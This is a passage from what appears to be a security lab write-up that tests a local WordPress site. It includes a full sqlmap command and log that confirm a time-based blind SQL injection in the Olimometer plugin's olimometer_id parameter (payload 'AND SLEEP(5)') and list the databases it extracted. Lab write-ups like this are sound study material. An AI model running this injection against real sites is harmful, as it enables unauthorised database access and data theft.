**Milestone 5: Tag it**

I changed wp-content\themes\twentyfifteen\content-page.php file and changed its contents as shown in figure below.



### Milestone 6: Going Deeper

I tracked the changes in the changelog and identified that the following two files have been removed in the fixed version. These files were used for uploading file using XMLHTTPRequest which may be exploited by meterpreter.

**admin/scripts/FileUploader/fileuploader.js**

**admin/scripts/FileUploader/php.php**

**Milestone 7: Hello, sqlmap**

**root@kali:~# sqlmap -u wpdistillery.dev/wp-content/plugins/olimometer/thermometer.php?olimometer\_id=1 --dbs --threads=5 --random-agent --no-cast**

**\_\_\_**

**\_\_H\_\_**

**\_\_\_ \_\_\_[)]\_\_\_\_\_ \_\_\_ \_\_\_ {1.1.4#stable}**

**|\_ -| . [)] | .'| . |**

**|\_\_\_|\_ [.]\_|\_|\_|\_\_,| \_|**

**|\_|V |\_| http://sqlmap.org**

**[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program**

**[\*] starting at 00:47:59**

**[00:47:59] [INFO] fetched random HTTP User-Agent header from file '/usr/share/sqlmap/txt/user-agents.txt': 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.201.0 Safari/532.0'**

**[00:47:59] [INFO] testing connection to the target URL**

**[00:48:00] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS**

**[00:48:00] [INFO] testing if the target URL is stable**

**[00:48:00] [INFO] target URL is stable**

**[00:48:00] [INFO] testing if GET parameter 'olimometer\_id' is dynamic**

**[00:48:01] [WARNING] GET parameter 'olimometer\_id' does not appear to be dynamic**

**[00:48:01] [WARNING] heuristic (basic) test shows that GET parameter 'olimometer\_id' might not be injectable**

**[00:48:02] [INFO] testing for SQL injection on GET parameter 'olimometer\_id'**

**[00:48:02] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'**

**[00:48:06] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace'**

**[00:48:06] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'**

**[00:48:08] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'**

**[00:48:10] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'**

**[00:48:12] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'**

**[00:48:14] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'**

**[00:48:14] [INFO] testing 'MySQL inline queries'**

**[00:48:15] [INFO] testing 'PostgreSQL inline queries'**

**[00:48:15] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'**

**[00:48:15] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'**

**[00:48:17] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'**

**[00:48:19] [INFO] testing 'Oracle stacked queries (DBMS\_PIPE.RECEIVE\_MESSAGE - comment)'**

**[00:48:20] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind'**

**[00:48:32] [INFO] GET parameter 'olimometer\_id' appears to be 'MySQL >= 5.0.12 AND time-based blind' injectable**

**it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y**

**for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y**

**[00:49:13] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'**

**[00:49:13] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found**

**[00:49:20] [INFO] checking if the injection point on GET parameter 'olimometer\_id' is a false positive**

**GET parameter 'olimometer\_id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y**

**sqlmap identified the following injection point(s) with a total of 91 HTTP(s) requests:**

**---**

**Parameter: olimometer\_id (GET)**

**Type: AND/OR time-based blind**

**Title: MySQL >= 5.0.12 AND time-based blind**

**Payload: olimometer\_id=1 AND SLEEP(5)**

**---**

**[00:50:05] [INFO] the back-end DBMS is MySQL**

**web server operating system: Linux Ubuntu**

**web application technology: Apache 2.4.16**

**back-end DBMS: MySQL >= 5.0.12**

**[00:50:05] [INFO] fetching database names**

**[00:50:05] [INFO] fetching number of databases**

**[00:50:05] [WARNING] multi-threading is considered unsafe in time-based data retrieval. Going to switch it off automatically**

**[00:50:05] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done)**

**do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y**

**[00:50:33] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions**

**4**

**[00:50:35] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done)**

**[00:51:01] [INFO] adjusting time delay to 1 second due to good response times**

**informa**

**[00:51:42] [ERROR] invalid character detected. retrying..**

**[00:51:42] [WARNING] increasing time delay to 2 seconds**

**tion\_schema**

**[00:53:23] [INFO] retrieved:**

**[00:53:32] [ERROR] invalid character detected. retrying..**

**[00:53:32] [WARNING] increasing time delay to 3 seconds**

**mysq**

**[00:54:34] [ERROR] invalid character detected. retrying..**

**[00:54:34] [WARNING] increasing time delay to 4 seconds**

**[00:54:44] [ERROR] invalid character detected. retrying..**

**[00:54:44] [WARNING] increasing time delay to 5 seconds**

**l**

**[00:55:08] [INFO] retrieved: p**

**[00:55:53] [ERROR] invalid character detected. retrying..**

**[00:55:53] [WARNING] increasing time delay to 6 seconds**

**e**

**[00:56:29] [ERROR] invalid character detected. retrying..**

**[00:56:29] [WARNING] increasing time delay to 7 seconds**

**rformance\_sche**

**[01:02:24] [ERROR] invalid character detected. retrying..**

**[01:02:24] [WARNING] increasing time delay to 8 seconds**

**ma**

**[01:03:02] [INFO] retrieved:**

**[01:04:01] [WARNING] turning off pre-connect mechanism because of connection time out(s)**

**[01:06:38] [ERROR] invalid character detected. retrying..**

**[01:06:38] [WARNING] increasing time delay to 9 seconds**

**[01:06:50] [ERROR] invalid character detected. retrying..**

**[01:06:50] [WARNING] increasing time delay to 10 seconds**

**[01:07:04] [ERROR] invalid character detected. retrying..**

**[01:07:04] [WARNING] increasing time delay to 11 seconds**

**[01:07:19] [ERROR] invalid character detected. retrying..**

**[01:07:19] [WARNING] increasing time delay to 12 seconds**

**[01:07:35] [ERROR] invalid character detected. retrying..**

**[01:07:35] [WARNING] increasing time delay to 13 seconds**

**[01:07:52] [ERROR] unable to properly validate last character value ('\x81')..**

**\x81cotchbox**

**available databases [4]:**

**[\*] `\x81cotchbox`**

**[\*] information\_schema**

**[\*] mysql**

**[\*] performance\_schema**

**[01:08:43] [INFO] fetched data logged to text files under '/root/.sqlmap/output/wpdistillery.dev'**

**[\*] shutting down at 01:08:43**